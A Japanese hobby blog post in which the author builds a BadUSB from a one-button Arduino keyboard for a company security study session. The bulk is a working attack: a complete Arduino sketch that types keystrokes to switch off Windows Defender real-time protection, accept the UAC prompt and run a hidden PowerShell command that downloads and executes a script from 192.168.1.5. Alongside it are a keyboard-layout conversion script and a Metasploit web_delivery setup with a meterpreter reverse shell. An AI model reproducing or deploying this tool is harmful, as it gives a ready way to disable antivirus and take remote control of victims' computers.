こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

ワンボタンキーボードにMetasploitにセッションを張る機能を組み込む

タイトルのとおり、ワンボタンキーボードに"アレ"な機能を組み込む方法です。

1. 経緯

先日の技術書典7でワンボタンキーボードを購入しました。

www.one-button-key.com

組み立てに半田ごてが必要であるため、少々手を出しづらく未開封のままでしたが、 社内の勉強会用のネタを作成するために試すことにしました。

ワンボタンキーボードのキーには、好きなキーボード入力を割り当て可能です。

何の機能を組み込むか悩みましたが、一応、セキュリティ関係の勉強会ということで、 Metasploitにセッションを張る機能を組み込むことにしました。

この時点で「それなんてBadUSB?」と思う方がおられるかと思いますが、はい、そのとおりです。

8月のDEFCON会場で購入したUSB Rubber Duckyを使用してBadUSBの作成実験をしたことがありますが、考え方は同様です。

なお、BadUSBの作成においては技術書典6でipusiron氏が頒布されていた『ハッキング・ラボのそだてかた ミジンコでもわかるBadUSB』を参照しました。 特に日本語キーボード関連の解説には助けられました。

【ダウンロード版】『ハッキング・ラボのそだてかた ミジンコでもわかるBadUSB』(PDF版) - HACK - BOOTH

2. 組み立て

以下の記事のとおり進めていくだけです。

www.shumi-tech.online

半田ごて経験が「Raspberry Piに接続する湿度センサーの組み立て(2か所くらいとめるだけ)」「DEFCON 27のSoldering Villageでバッジを組み立て(なお失敗して全く点灯せず終了した模様)」という豊富な経験を持つ私でも、YouTubeの半田ごての使い方動画を見ながら見様見真似で組み立てることができました。

3. プログラミング

3-1. 環境準備および練習

こちらも、以下の記事のとおりに進めていくだけです。

www.shumi-tech.online

途中、接続したワンボタンキーボードが、デバイスマネージャーでもArduino IDEでも認識されないトラブルがありました。 結果、手元にあったmicroUSBケーブルが充電用だったことが原因で、ケーブルを変更したところ無事認識しました。 これで1時間程度溶けました。マヌケですね。

まずはサンプルのとおりCtrl + Vの機能を書き込み、キーを押下して動作するか確認すればOKです。

3-2. Metasploit接続機能の組み込み

Metasploitにセッションを張る機能を組み込みます。
キーボードによる操作シナリオは以下のとおりです。

  1. Ctrl + Escキーを押下しスタートメニューを開く
  2. "virus"というワードを入力してエンターキーを押下し「ウィルスと脅威の防止」のウィンドウを開く
  3. TABキーを4回押下、エンターキーを押下し、「ウィルスと脅威の防止の設定」画面に遷移する
  4. スペースキーを押下し、リアルタイム保護をオフにしようとし、UAC(ユーザーアカウント制御)の画面を表示する
  5. Alt + yキーを押下し「はい」を選択する
  6. Alt + F4キーで「ウィルスと脅威の防止の設定」のウィンドウを閉じる
  7. Win + rキーを押下し「ファイル名を指定して実行」ダイアログを開き、PowerShellでMetasploitにセッションを張るスクリプトをダウンロードおよび実行する。

2の操作はOSのバージョンや環境によって異なると思います。もっと確実な方法がありそうですが、実験ということでこれで。

なお、Windows Defenderのリアルタイム保護をオフする方法として、以前まではPowerShellSet-MpPreference -DisableRealtimeMonitoring $trueを実行するだけでオフにできたようですが、 Windows10 1903からは出来なくなった模様。よってGUIをキーボードで操作しています。

上記の操作シナリオを、Arduinoのスケッチに落とし込むと以下になります。

#include "Keyboard.h"

#define PIN_KEYSW (9)

int prevKeyState;
int currKeyState;

void setup() {
  pinMode(PIN_KEYSW, INPUT_PULLUP);
  prevKeyState = HIGH;
  currKeyState = HIGH;

  Keyboard.begin();
}

void loop() {
  currKeyState = digitalRead(PIN_KEYSW);

  // キースイッチが押された
  if ((prevKeyState == HIGH) && (currKeyState == LOW)) {
    // ↓↓↓ ここに好きなキー入力を書く ↓↓↓
    Keyboard.press(KEY_LEFT_CTRL);
    Keyboard.press(KEY_ESC);
    delay(10);
    Keyboard.releaseAll(); 
    
    delay(1000);
    Keyboard.print("virus");
    delay(1000);
    Keyboard.press(KEY_RETURN);
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_RETURN);
    delay(10);
    Keyboard.releaseAll(); 

    delay(1000);
    Keyboard.press(0x20);
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press('y');
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(KEY_F4);
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_LEFT_GUI );
    Keyboard.press('r');
    delay(10);
    Keyboard.releaseAll(); 
    delay(1000);
    Keyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass @iex **new-object net.webclient(.DownloadString*&http'//192.168.1.5'8080/reverse&((@");
    Keyboard.press(KEY_RETURN);
    delay(10);
    Keyboard.releaseAll(); 

    // ↑↑↑ ここまで ↑↑↑
  }

  prevKeyState = currKeyState;
  delay(10);
}

最後のPowerShellコマンドの引数のうち、一部の記号を変換しています。 本当に実行したい元のコマンドは以下のとおりです。

powershell -NoP -NonI -W Hidden -Exec Bypass "iex ((new-object net.webclient).DownloadString('http://192.168.1.5:8080/reverse'))"

これは、Arduinoからの入力は英語配列のキーボードを前提としており、 日本語配列のキーボードを使用している自分のWindows環境では別の記号となってしまうため、 その差異を吸収するための措置です。

なお、変換には以下のような簡単なpythonスクリプトを書いて対応しました。

import sys

table = str.maketrans({
    '=': '_',
    ':': '\'',
    '&': '-',
    '\'': '&',
    '(': '*',
    ')': '(',
    '^': '=',
    '~': '+',
    '{': '}',
    '}': '|',
    '[': ']',
    ']': '\\',
    '"': '@',
    '@': '[',
    '+': ':',
    '*': '"',
    '`': '{',
    '|': '',
})

for l in sys.stdin:
    print(l.translate(table),end="")

4. 実行

4-1. C2サーバ環境の用意

C2サーバに見立てた端末でMetasploitを起動して準備します。

$ cat reverse_tcp.rc
use exploit/multi/script/web_delivery
set LHOST 192.168.1.5
set LPORT 4444
set target 2
set URIPATH reverse
set payload windows/x64/meterpreter/reverse_tcp
exploit

$ msfconsole -r ./reverse_tcp.rc
(snip)
[*] Started reverse TCP handler on 192.168.1.5:4444                                                                                                       
[*] Using URL: http://0.0.0.0:8080/reverse                                                                                                                
[*] Local IP: http://192.168.1.5:8080/reverse                                                                                                             
[*] Server started.                                                                                                                                       
[*] Run the following command on the target machine:                                                                                                      
powershell.exe -nop -w hidden -c $T=new-object net.webclient;$T.proxy=[Net.WebRequest]::GetSystemWebProxy();$T.Proxy.Credentials=[Net.CredentialCache]::De
faultCredentials;IEX $T.downloadstring('http://192.168.1.5:8080/reverse');
msf5 exploit(multi/script/web_delivery) > 

準備が整いました。

4-2. ワンボタンキーボード接続&キー押下

被害端末にワンボタンキーボードを接続し、キーを押下します。

画像では伝わりにくいと思いますので動画を用意しました。

5. まとめ

無限の可能性があるワンボタンキーボード。

まずはお試しということで、過去の実験経験を活用し、ややアレな機能を組み込みましたが、アイデア次第で色々な活用方法がありそうです。 また何か思いついたら共有したいと思います。

なお、社内の勉強会でデモした後に「どう?接続して押してみない?」と新人に振ったところ、面倒くさそうな苦笑いで断られました。 あぁ自分も面倒くさいおっさんになったんだなぁと気付かされましたね。